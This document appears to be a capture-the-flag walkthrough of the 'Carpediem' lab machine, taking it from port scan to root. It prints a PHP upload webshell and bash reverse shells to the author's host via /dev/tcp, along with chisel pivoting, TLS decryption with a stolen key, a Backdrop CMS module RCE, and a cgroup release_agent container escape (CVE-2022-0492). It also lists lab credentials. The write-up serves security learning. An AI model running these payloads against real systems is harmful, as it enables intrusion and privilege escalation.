Ininitial Recon

Nmap

Starting with a full tcp port scan, I got the following results:

$ nmap -p- -A 10.10.11.167
Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-02 07:41 EET
Nmap scan report for 10.10.11.167
Host is up (0.12s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 962176f72dc5f04ee0a8dfb4d95e4526 (RSA)
|   256 b16de3fada10b97b9e57535c5bb76006 (ECDSA)
|_  256 6a1696d80529d590bf6b2a0932dc364f (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Comming Soon
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 427.09 seconds

It looks like only ports 22 running ssh and 80 running a webserver are open.

Surfin The Webpage

The page on port 80 appears to be a static webpage that discloses the domain of carpediem.htb.

Home Page

So, I’ll add it to my /etc/hosts:

echo -e '10.10.11.167\tcarpediem.htb' | sudo tee -a /etc/hosts

Sub-Domain Enumeration

Since I have the main domain of the web server, I’ll try to look for any hidden subdomains using gobuster:

gobuster vhost -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://carpediem.htb --append-domain

Gobuster Vhost Scann

portal.carpediem.htb has been found, so I’ll also add it to my /etc/hosts.

echo -e '10.10.11.167\tportal.carpediem.htb' | sudo tee -a /etc/hosts

Webserver Enumeration

The website on this new subdomain, appears to be a Motorcycle Store, having a Login and Book this Bike functionalities, however I need to be logged in order to book a bike.

Clicking On Bike

Viewing Functionalities

I tried to bruteforce directories using gobuster, and this what I found:

gobuster dir -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://portal.carpediem.htb0 Gobuster Portal Directory Brutefoce

If I surf to the admin directory from firefox, I get redireted to the login page:

Got redirected

Bypassing Login

But if I use curl with -v option to see the headers, I can see that the response is 200 ok, and the presence of a javascript tag that displays the login page to me, and looks like the content of the admin page are being sent but aren’t displayed because of these tags:

curl http://portal.carpediem.htb/admin/ -v

Noticing Response and Script Tags

This means that if I remove these tags from the server’s response, I can bypass this login mechanism and get to the admin page. So what I’ll do is to intercept the response comming from the server using Burp Suite and make a rule to remove the tags before forwarding the response back to my firefox.

Burp Suite

Adding Rule In Burp

Seeing Rule

Forwarding Traffic To Burp

Bypassing Login

Getting RCE

Finding Upload Functionality

Cycling through the pages, I noticed that there is an upload report functionality, however it is in development:

Noticing Upload Functionality

But clicking on add then continue gives an error:

Dev Error

After inspecting the source code with [CTRL + u], I saw a javascript upload function that appears to be uploading a file to classes/Users.php?f=upload:

Javascript Upload Function

If I try to access the url, an error like this will occur:

Accessing Upload URL

If I try to upload a file using curl, I will get an error about missing file_upload parameter, so after changing the parameter I can upload a php shell and get command execution:

Uploading PHP File And Getting RCE

Uploading Shell.php

Getting Command Execution

Now, I can try to get a reverse shell back to my kali:

$ echo '<?php system($_GET["cmd"]);?>' > shell.php
$ curl -XPOST http://portal.carpediem.htb/classes/Users.php?f=upload -F "file_upload=@shell.php"
$ curl http://portal.carpediem.htb/uploads/1670042280_shell.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/10.10.16.23/1234%200%3E%261%27

Getting Reverse Shell

Enumerating In Docker

Scanning Other Hosts Using Static Nmap

But it looks like I am in a docker container now, and it appears from reading the /etc/hosts file that there are more than one container.

So I’ll upload a static nmap binary, and try to scan a range of ip addresses to see who is up and what services are running on each container:

In order for nmap to work properly with all the scripts and everything, I need to also upload the directory containing nmap scripts:

Uploading Nmap

Now when I need to run nmap, I need to specify the data diretory where the scripts are located. Here I’ll scan the subnet 172.17.0.0/28 which ranges from 172.17.0.1 to 172.17.0.16 since my guest is that there is no more than 16 docker container on such a box:

www-data@3c371615b7aa:/tmp$ chmod +x nmap
www-data@3c371615b7aa:/tmp$ ./nmap -A -p- --datadir data 172.17.0.0/28
Starting Nmap 7.91SVN ( https://nmap.org ) at 2022-12-03 10:54 UTC
Nmap scan report for 172.17.0.1
Host is up (0.000097s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 96:21:76:f7:2d:c5:f0:4e:e0:a8:df:b4:d9:5e:45:26 (RSA)
|   256 b1:6d:e3:fa:da:10:b9:7b:9e:57:53:5c:5b:b7:60:06 (ECDSA)
|_  256 6a:16:96:d8:05:29:d5:90:bf:6b:2a:09:32:dc:36:4f (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Comming Soon
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap scan report for 172.17.0.2
Host is up (0.00041s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT    STATE SERVICE  VERSION
21/tcp  open  ftp      vsftpd 3.0.3
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 172.17.0.6
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
80/tcp  open  http     Apache httpd 2.4.48 ((Ubuntu))
|_http-server-header: Apache/2.4.48 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
443/tcp open  ssl/http Apache httpd 2.4.48 ((Ubuntu))
|_http-generator: Backdrop CMS 1 (https://backdropcms.org)
| http-robots.txt: 22 disallowed entries (15 shown)
| /core/ /profiles/ /README.md /web.config /admin 
| /comment/reply /filter/tips /node/add /search /user/register 
|_/user/password /user/login /user/logout /?q=admin /?q=comment/reply
|_http-server-header: Apache/2.4.48 (Ubuntu)
|_http-title: Home | backdrop.carpediem.htb
| ssl-cert: Subject: commonName=backdrop.carpediem.htb/organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=US
| Not valid before: 2022-04-07T17:12:51
|_Not valid after:  2025-01-02T17:12:51
| tls-alpn: 
|_  http/1.1
Service Info: OS: Unix

Nmap scan report for 172.17.0.3
Host is up (0.00039s latency).
Not shown: 65534 closed tcp ports (conn-refused)
PORT      STATE SERVICE VERSION
27017/tcp open  mongodb MongoDB 5.0.6
| mongodb-databases: 
|   ok = 1.0
|   totalSizeMb = 1
|   databases
|     0
|       name = admin
|       empty = false
|       sizeOnDisk = 135168
|     3
|       name = trudesk
|       empty = false
|       sizeOnDisk = 1118208
|     2
|       name = local
|       empty = false
|       sizeOnDisk = 90112
|     1
|       name = config
|       empty = false
|       sizeOnDisk = 36864
|_  totalSize = 1380352
|_mongodb-info: ERROR: Script execution failed (use -d to debug)

Nmap scan report for mysql (172.17.0.4)
Host is up (0.000088s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT      STATE SERVICE VERSION
3306/tcp  open  mysql   MySQL 8.0.27
| mysql-info: 
|   Protocol: 10
|   Version: 8.0.27
|   Thread ID: 874
|   Capabilities flags: 65535
|   Some Capabilities: Speaks41ProtocolOld, Support41Auth, IgnoreSpaceBeforeParenthesis, SupportsTransactions, SupportsCompression, ODBCClient, IgnoreSigpipes, ConnectWithDatabase, SwitchToSSLAfterHandshake, FoundRows, InteractiveClient, SupportsLoadDataLocal, Speaks41ProtocolNew, LongColumnFlag, DontAllowDatabaseTableColumn, LongPassword, SupportsAuthPlugins, SupportsMultipleResults, SupportsMultipleStatments
|   Status: Autocommit
|   Salt: 4|OQ1(	:]dgo1COl\x1E~\x16N
|_  Auth Plugin Name: caching_sha2_password
| ssl-cert: Subject: commonName=MySQL_Server_8.0.27_Auto_Generated_Server_Certificate
| Not valid before: 2021-10-27T03:20:43
|_Not valid after:  2031-10-25T03:20:43
|_ssl-date: TLS randomness does not represent time
33060/tcp open  mysqlx?
| fingerprint-strings: 
|   DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp: 
|     Invalid message"
|     HY000
|   LDAPBindReq: 
|     *Parse error unserializing protobuf message"
|     HY000
|   oracle-tns: 
|     Invalid message-frame."
|_    HY000
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port33060-TCP:V=7.91SVN%I=7%D=12/3%Time=638B2B0C%P=x86_64-pc-linux-musl
SF:%r(NULL,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(GenericLines,9,"\x05\0\0\0\
SF:x0b\x08\x05\x1a\0")%r(GetRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(HT
SF:TPOptions,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(RTSPRequest,9,"\x05\0\0\0
SF:\x0b\x08\x05\x1a\0")%r(RPCCheck,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNS
SF:VersionBindReqTCP,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSStatusRequestT
SF:CP,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\
SF:x0fInvalid\x20message\"\x05HY000")%r(Help,9,"\x05\0\0\0\x0b\x08\x05\x1a
SF:\0")%r(SSLSessionReq,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08
SF:\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY000")%r(TerminalServerCo
SF:okie,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(TLSSessionReq,2B,"\x05\0\0\0\x
SF:0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20messa
SF:ge\"\x05HY000")%r(Kerberos,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(SMBProgN
SF:eg,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(X11Probe,2B,"\x05\0\0\0\x0b\x08\
SF:x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x0
SF:5HY000")%r(FourOhFourRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LPDStr
SF:ing,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LDAPSearchReq,2B,"\x05\0\0\0\x0
SF:b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20messag
SF:e\"\x05HY000")%r(LDAPBindReq,46,"\x05\0\0\0\x0b\x08\x05\x1a\x009\0\0\0\
SF:x01\x08\x01\x10\x88'\x1a\*Parse\x20error\x20unserializing\x20protobuf\x
SF:20message\"\x05HY000")%r(SIPOptions,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r
SF:(LANDesk-RC,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(TerminalServer,9,"\x05\
SF:0\0\0\x0b\x08\x05\x1a\0")%r(NCP,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(Not
SF:esRPC,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x
SF:1a\x0fInvalid\x20message\"\x05HY000")%r(JavaRMI,9,"\x05\0\0\0\x0b\x08\x
SF:05\x1a\0")%r(WMSRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(oracle-tns,
SF:32,"\x05\0\0\0\x0b\x08\x05\x1a\0%\0\0\0\x01\x08\x01\x10\x88'\x1a\x16Inv
SF:alid\x20message-frame\.\"\x05HY000")%r(ms-sql-s,9,"\x05\0\0\0\x0b\x08\x
SF:05\x1a\0")%r(afp,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01
SF:\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY000");

Nmap scan report for 172.17.0.5
Host is up (0.00015s latency).
Not shown: 65534 closed tcp ports (conn-refused)
PORT     STATE SERVICE  VERSION
8118/tcp open  privoxy?
| fingerprint-strings: 
|   DNSVersionBindReqTCP, RPCCheck, RTSPRequest: 
|     HTTP/1.1 400 Bad Request
|     Connection: close
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Access-Control-Allow-Origin: *
|     Access-Control-Allow-Methods: GET, POST, PUT, DELETE, PATCH, OPTIONS
|     Access-Control-Allow-Headers: DNT,X-Mx-ReqToken,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,accesstoken,X-RToken,X-Token
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 7285
|     ETag: W/"1c75-WUVJYgy+76qLc2hldkHzGR7+Uxg"
|     set-cookie: connect.sid=s%3AO5e1S-uwVRl259ATIP02HJYZhPgPiVIH.o2MGZWzTfKSYRWeP0MydfcXvWha3aN%2Bx%2BiPyTdTBt1s; Path=/; Expires=Sun, 03 Dec 2023 10:55:28 GMT; HttpOnly
|     Date: Sat, 03 Dec 2022 10:55:28 GMT
|     Connection: close
|     <!DOCTYPE html>
|     <html>
|     <head>
|     <title>Trudesk &middot; Login</title>
|     <link rel="stylesheet" href="/css/plugins.min.css">
|     <link rel="stylesheet" href="/css/app.min.css">
|     <style type="text/css">
|     html {
|     overflow-x: hidden;
|     body {
|   HTTPOptions: 
|     HTTP/1.1 200 OK
|     Access-Control-Allow-Origin: *
|     Access-Control-Allow-Methods: GET, POST, PUT, DELETE, PATCH, OPTIONS
|     Access-Control-Allow-Headers: DNT,X-Mx-ReqToken,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,accesstoken,X-RToken,X-Token
|     Content-Type: text/plain; charset=utf-8
|     Content-Length: 2
|     ETag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc"
|     Date: Sat, 03 Dec 2022 10:55:33 GMT
|_    Connection: close
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8118-TCP:V=7.91SVN%I=7%D=12/3%Time=638B2B20%P=x86_64-pc-linux-musl%
SF:r(GetRequest,1ED8,"HTTP/1\.1\x20200\x20OK\r\nAccess-Control-Allow-Origi
SF:n:\x20\*\r\nAccess-Control-Allow-Methods:\x20GET,\x20POST,\x20PUT,\x20D
SF:ELETE,\x20PATCH,\x20OPTIONS\r\nAccess-Control-Allow-Headers:\x20DNT,X-M
SF:x-ReqToken,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cac
SF:he-Control,Content-Type,accesstoken,X-RToken,X-Token\r\nContent-Type:\x
SF:20text/html;\x20charset=utf-8\r\nContent-Length:\x207285\r\nETag:\x20W/
SF:\"1c75-WUVJYgy\+76qLc2hldkHzGR7\+Uxg\"\r\nset-cookie:\x20connect\.sid=s
SF:%3AO5e1S-uwVRl259ATIP02HJYZhPgPiVIH\.o2MGZWzTfKSYRWeP0MydfcXvWha3aN%2Bx
SF:%2BiPyTdTBt1s;\x20Path=/;\x20Expires=Sun,\x2003\x20Dec\x202023\x2010:55
SF::28\x20GMT;\x20HttpOnly\r\nDate:\x20Sat,\x2003\x20Dec\x202022\x2010:55:
SF:28\x20GMT\r\nConnection:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html>\n<h
SF:ead>\n\x20\x20\x20\x20<title>Trudesk\x20&middot;\x20Login</title>\n\x20
SF:\x20\x20\x20<link\x20rel=\"stylesheet\"\x20href=\"/css/plugins\.min\.cs
SF:s\">\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20href=\"/css/app\.m
SF:in\.css\">\n\x20\x20\x20\x20<style\x20type=\"text/css\">\n\x20\x20\x20\
SF:x20\x20\x20\x20\x20html\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20overflow-x:\x20hidden;\n\x20\x20\x20\x20\x20\x20\x20\x20}\n\x20\
SF:x20\x20\x20\x20\x20\x20\x20body\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20"
SF:)%r(HTTPOptions,1BA,"HTTP/1\.1\x20200\x20OK\r\nAccess-Control-Allow-Ori
SF:gin:\x20\*\r\nAccess-Control-Allow-Methods:\x20GET,\x20POST,\x20PUT,\x2
SF:0DELETE,\x20PATCH,\x20OPTIONS\r\nAccess-Control-Allow-Headers:\x20DNT,X
SF:-Mx-ReqToken,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,C
SF:ache-Control,Content-Type,accesstoken,X-RToken,X-Token\r\nContent-Type:
SF:\x20text/plain;\x20charset=utf-8\r\nContent-Length:\x202\r\nETag:\x20W/
SF:\"2-nOO9QiTIwXgNtWtBJezz8kv3SLc\"\r\nDate:\x20Sat,\x2003\x20Dec\x202022
SF:\x2010:55:33\x20GMT\r\nConnection:\x20close\r\n\r\nOK")%r(RTSPRequest,2
SF:F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")
SF:%r(RPCCheck,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20cl
SF:ose\r\n\r\n")%r(DNSVersionBindReqTCP,2F,"HTTP/1\.1\x20400\x20Bad\x20Req
SF:uest\r\nConnection:\x20close\r\n\r\n");

Nmap scan report for 3c371615b7aa (172.17.0.6)
Host is up (0.00013s latency).
Not shown: 65534 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.51
|_http-server-header: Apache/2.4.51 (Debian)
|_http-title: 403 Forbidden
Service Info: Host: 172.17.0.6

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 16 IP addresses (6 hosts up) scanned in 51.74 seconds

Finding An Open Mongodb Instance

From the scan above, I can see that mongodb is open on 172.17.0.3 and that it doesn’t require any password to log in, since nmap was able to list the databases.

Listing Mongodb Tables

So, now I’ll use chisel to port forward the port back to my machine so that I can access it using mongosh.

On my kali machine:

./chisel_1.7.7_linux_amd64 server -p 9001 --reverse

On the target machine:

./chisel_1.7.7_linux_amd64 client 10.10.16.23:9001 R:127.0.0.1:8080:172.17.0.3:27017 &

Now, port 27017 open on the host 172.17.0.3, which was accessible only internally, is now forwarded through Chisel listening on my machine port 9001 and will be accessible for me on port 8080.

Chisel Port Forwarding

Reading Important Information From Mongodb

I can then use mongosh --port 8080 to access the database from my machine:

Accessing Mongodb

By listing the databases using show databases, I can see that there is one called trudesk, so after searching a little bit I found some interesting stuff:

use trudesk // Switch database to trudesk
show tables // Show available tables

Show Tables mongodb

db.accounts.find() // To list all account's information

See All Trudesk Account&rsquo;s Information

db.notifications.find() // To list all the notifications

Seeing Notifications

Getting User On Carpediem

Using Zoiper To Get Credentials

After reading the notifications sent between staff members, it appears that a new employee was hired and one the old staff left him a voice mail about his new credentials. They also recommended using Zoiper as desktop soft phone for him to access his voice mails, so this is what I’ll use.

  • You can download Zoiper debian package from zoiper’s website and run the following command in order to install it sudo dpkg -i Zoiper5_5.5.14_x86_64.deb

Usually Zoiper runs on UDP port 5060, and I knew that using google, or from the login prompt of the application after installing it.

Zoiper Login For Free

Zoiper Port

Checking For Open UDP Port 5060 That Zoiper Uses

So if I check that using nmap, I can confirm that the port is indeed open: sudo nmap -p 5060 -sU carpediem.htb

UDP Open Port

Hearing The Message And Getting User

From the messages, I saw that in order to login to the domain using zoiper as the new employee, I can use the last 4 digits of his employee ID 9650 as the username and 2022 as his password. Then to hear the voice mail and get his credentials, I need to dial *62 and put the pin code which is 2022 and then press 1 to hear it.

Login As New Employee

Adding carpediem.htb as domain

Click Next

Dial Code Zoiper

Put The Pin Code

Hear The Message

So the password for the new employee is AuRj4pxq9qPk. His name, from the previous notifications, appears to be Horace Flaccus, and previously I saw the emails (when reading account information from mongodb) in the form of [First Initial][Last name], so my guess is that the new username will be hflaccus, and this what I’ll try to provide to see if I can login using SSH.

And it worked:

SSH Login hflaccus

Discovering Backdrop Instance

Going back to nmap scan for the ip 172.17.0.2 (done previously), I can see that it is running a webserver on port 443 disclosing a new subdomain backdrop.carpediem.htb.

Backdrop Domain Disclosed

And aslo from the notifications in mongodb, I noticed some messages related to this webserver running SSL (port 443).

Notifications About Backdrop In Mongodb

Sniffing Traffic Going To Backdrop

In addition, if I run timeout 1 tcpdump I can see that I am able to run tcpdump command which means that I might be able to sniff some traffic and grab credentials.

Moreover, if I check /etc/ssl/certs/ I can see that the certificate and its private key for backdrop cms are present in there:

hflaccus@carpediem:/tmp$ ls -la /etc/ssl/certs/backdrop.carpediem.htb.*
-rw-r--r-- 1 root root 1269 Apr  7  2022 /etc/ssl/certs/backdrop.carpediem.htb.crt
-rw-r--r-- 1 root root 1679 Apr  7  2022 /etc/ssl/certs/backdrop.carpediem.htb.key

So what I’ll do is to sniff ssl traffic goind to backdrop, decrypt it, and see if I can get some credentials:

hflaccus@carpediem:/tmp$ tcpdump -i docker0 -c 50 -nn -A -w 443.pcap port 443
tcpdump: listening on docker0, link-type EN10MB (Ethernet), capture size 262144 bytes

50 packets captured
57 packets received by filter
0 packets dropped by kernel
  • 50 packets should be enough to get credentials.

Decrypting SSL Traffic

Now, I’ll copy the new pcap file and the certificate’s private key to my machine and decrypt the traffic to what’s happening:

scp hflaccus@carpediem.htb:/tmp/443.pcap .
scp hflaccus@carpediem.htb:/etc/ssl/certs/backdrop.carpediem.htb.key .

Copying PCAP File And Private Key To Kali

To add the private key, I need to head to edit => prefrecences => tls => pre-master key or edit => prefrecences => RSA Keys, depending on the wireshark version used, and then add it:

Click Preferences

Click Add Key

Choose Key

Click OK

Then, I can open the pcap file and see the decrypted data:

Wireshark Click Open

Choose File Wireshark

Right away, I can spot a POST request for login page, and if I inspect it, I can see the credentials jpardella:tGPN6AmJDZwYWdhY.

Getting New Credentials

Accessing Backdrop From Kali

Again, using Chisel, I’ll forward the port to my machine:

Upload Chisel

  • On kali:
    ./chisel_1.7.7_linux_amd64 server -p 9001 --reverse
    
  • On the target:
    ./chisel_1.7.7_linux_amd64 client 10.10.16.23:9001 R:127.0.0.1:8080:172.17.0.2:443 &
    

Forward 443 backdrop

Now, I am able to access backdrop from kali on https://localhost:8080/:

Accessing Backdrop

Since, I have credentials for this site, I can try to login and upload a malicious php file to get RCE on the container:

Login Backdrop

Getting RCE On Backdrop Container

The way to upload a malicious php file is by uploading a malicious add-on with crafted php file, as described here: https://www.exploit-db.com/exploits/50323. Although Cross Site Request Forgery isn’t needed here because I am already logged in, but I can use the step to upload a malicious .tar file containing my php code as add-on, and gain RCE that way.

Link to the malicious tar file is https://github.com/V1n1v131r4/CSRF-to-RCE-on-Backdrop-CMS/releases/download/backdrop/reference.tar.

Link To Malicious Tar File

So, after downloading the file to my machine, I can list its contents to make sure everything is correct using tar -tf references.tar:

List Tar Contents

And now I can upload it to backdrop as add-on:

Click Install Module Backdrop

Click Manual Installation Backdrop

Upload Tar File Backdrop

Click Install Backdrop

After that, I can access the shell and run my malicious commands from here: https://localhost:8080/modules/reference/shell.php?cmd=id

Run ID Backdrop

In order to get a reverse shell, I need to know the ip address of docker interface since there is no route to my machine from docker, so I’ll catch a shell from hflaccus user:

Get Docker Ip address

Using curl and a payload like this, I can trigger the reverse shell:

curl -k -s https://localhost:8080/modules/reference/shell.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/172.17.0.1/1234%200%3E%261%27

# url encoded payload: bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/172.17.0.1/1234%200%3E%261%27
# url decoded payload: bash -c 'bash -i >& /dev/tcp/172.17.0.1/1234 0>&1' 

Getting Reverse Shell Backdrop

Escalating To Root

Finding Cronjobs Executed By Root

If run the command ps aux, I can see that root user is executing some scripts:

Root Executes Some Scripts Docker

Reading The Scripts

This script is checking the integrity of /var/www/html/backdrop/core/scripts/backdrop.sh and executes it by providing some parameters.

Reading the file to see what it does, reveals that the script takes a URI parameter and requests index.php from that URI and then executes it, which means that since root user is providing https://localhost uri where I have write permission to its files, I can override index.php and add my malicious script to escalate to root.

$ cat /var/www/html/backdrop/core/scripts/backdrop.sh
#!/usr/bin/env php
<?php

/**
 * Backdrop shell execution script
 *
 * Check for your PHP interpreter - on Windows you'll probably have to
 * replace line 1 with
 *   #!c:/program files/php/php.exe
 *
 * @param path  Backdrop's absolute root directory in local file system (optional).
 * @param URI   A URI to execute, including HTTP protocol prefix.
 */
$script = basename(array_shift($_SERVER['argv']));

if (in_array('--help', $_SERVER['argv']) || empty($_SERVER['argv'])) {
  echo <<<EOF

Execute a Backdrop page from the shell.

Usage:        {$script} [OPTIONS] "<URI>"
Example:      {$script} "http://mysite.org/node"

All arguments are long options.

  --help      This page.

  --root      Set the working directory for the script to the specified path.
              To execute Backdrop this has to be the root directory of your
              Backdrop installation, f.e. /home/www/foo/backdrop (assuming
              Backdrop is running on Unix). Current directory is not required.
              Use surrounding quotation marks on Windows.

  --verbose   This option displays the options as they are set, but will
              produce errors from setting the session.

  URI         The URI to execute, i.e. http://default/foo/bar for executing
              the path '/foo/bar' in your site 'default'. URI has to be
              enclosed by quotation marks if there are ampersands in it
              (f.e. index.php?q=node&foo=bar). Prefix 'http://' is required,
              and the domain must exist in Backdrop's sites-directory.

              If the given path and file exists it will be executed directly,
              i.e. if URI is set to http://default/bar/foo.php
              and bar/foo.php exists, this script will be executed without
              bootstrapping Backdrop. To execute Backdrop's cron.php, specify
              http://default/core/cron.php as the URI.


To run this script without --root argument invoke it from the root directory
of your Backdrop installation with

  ./scripts/{$script}
\n
EOF;
  exit;
}

// define default settings
$cmd = 'index.php';
$_SERVER['HTTP_HOST']       = 'default';
$_SERVER['PHP_SELF']        = '/index.php';
$_SERVER['REMOTE_ADDR']     = '127.0.0.1';
$_SERVER['SERVER_SOFTWARE'] = NULL;
$_SERVER['REQUEST_METHOD']  = 'GET';
$_SERVER['QUERY_STRING']    = '';
$_SERVER['PHP_SELF']        = $_SERVER['REQUEST_URI'] = '/';
$_SERVER['HTTP_USER_AGENT'] = 'console';

// toggle verbose mode
if (in_array('--verbose', $_SERVER['argv'])) {
  $_verbose_mode = true;
}
else {
  $_verbose_mode = false;
}

// parse invocation arguments
while ($param = array_shift($_SERVER['argv'])) {
  switch ($param) {
    case '--root':
      // change working directory
      $path = array_shift($_SERVER['argv']);
      if (is_dir($path)) {
        chdir($path);
        if ($_verbose_mode) {
          echo "cwd changed to: {$path}\n";
        }
      }
      else {
        echo "\nERROR: {$path} not found.\n\n";
      }
      break;

    default:
      if (substr($param, 0, 2) == '--') {
        // ignore unknown options
        break;
      }
      else {
        // parse the URI
        $path = parse_url($param);

        // set site name
        if (isset($path['host'])) {
          $_SERVER['HTTP_HOST'] = $path['host'];
        }

        // set query string
        if (isset($path['query'])) {
          $_SERVER['QUERY_STRING'] = $path['query'];
          parse_str($path['query'], $_GET);
          $_REQUEST = $_GET;
        }

        // set file to execute or Backdrop path (clean URLs enabled)
        if (isset($path['path']) && file_exists(substr($path['path'], 1))) {
          $_SERVER['PHP_SELF'] = $_SERVER['REQUEST_URI'] = $path['path'];
          $cmd = substr($path['path'], 1);
        }
        elseif (isset($path['path'])) {
          if (!isset($_GET['q'])) {
            $_REQUEST['q'] = $_GET['q'] = $path['path'];
          }
        }

        // display setup in verbose mode
        if ($_verbose_mode) {
          echo "Hostname set to: {$_SERVER['HTTP_HOST']}\n";
          echo "Script name set to: {$cmd}\n";
          echo "Path set to: {$_GET['q']}\n";
        }
      }
      break;
  }
}

if (file_exists($cmd)) {
  include $cmd;
}
else {
  echo "\nERROR: {$cmd} not found.\n\n";
}
exit();

Getting Root Inside Container

First, I’ll get a full TTY shell (fully interactive shell) using script command since python3 isn’t installed in the container:

script -qc /bin/bash /dev/null
[CTRL + z]
stty raw -echo ; fg
[Enter]

Get Full TTY

Then, I’ll override index.php inside backdrop directory with a php reverse shell back to hflaccus on the host target which is listening on port 6666:

echo '<?php system("/bin/bash -c \"bash -i >& /dev/tcp/172.17.0.1/6666 0>&1\"") ?>' > backdrop/index.php

Getting Root Shell Docker

Again, I’ll get a full TTY shell:

Getting Full TTY Shell Root

Listing Docker Capabilities

Now, if I try to list the capabilities for this container:

cat /proc/$$/status | grep CapEff
capsh --decode=00000000a00425fb

List Docker Capabilities

Finding CVE-2022-0492 To Escape Docker

I can’t see something that can be abused here, however, a recent vulnerability CVE-2022-0492 has been discovered that allows us to get all the capabilities back and then abuse cgroups to escape from the container and get root on the host:

unshare -UrmC bash

Getting All Caps Back

mount -t cgroup -o rdma cgroup /mnt

Mount Worked

Getting Root On Carpediem

Mounting cgroup has worked, so now I’ll abuse that to escape from docker and make root execute a reverse shell back to hflaccus listening on port 9696:

mkdir /mnt/x
echo 1 > /mnt/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /mnt/release_agent
echo '#!/bin/sh' > /cmd
echo 'bash -c "bash -i >& /dev/tcp/172.17.0.1/9696 0>&1"' >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /mnt/x/cgroup.procs"

Getting Root Carpediem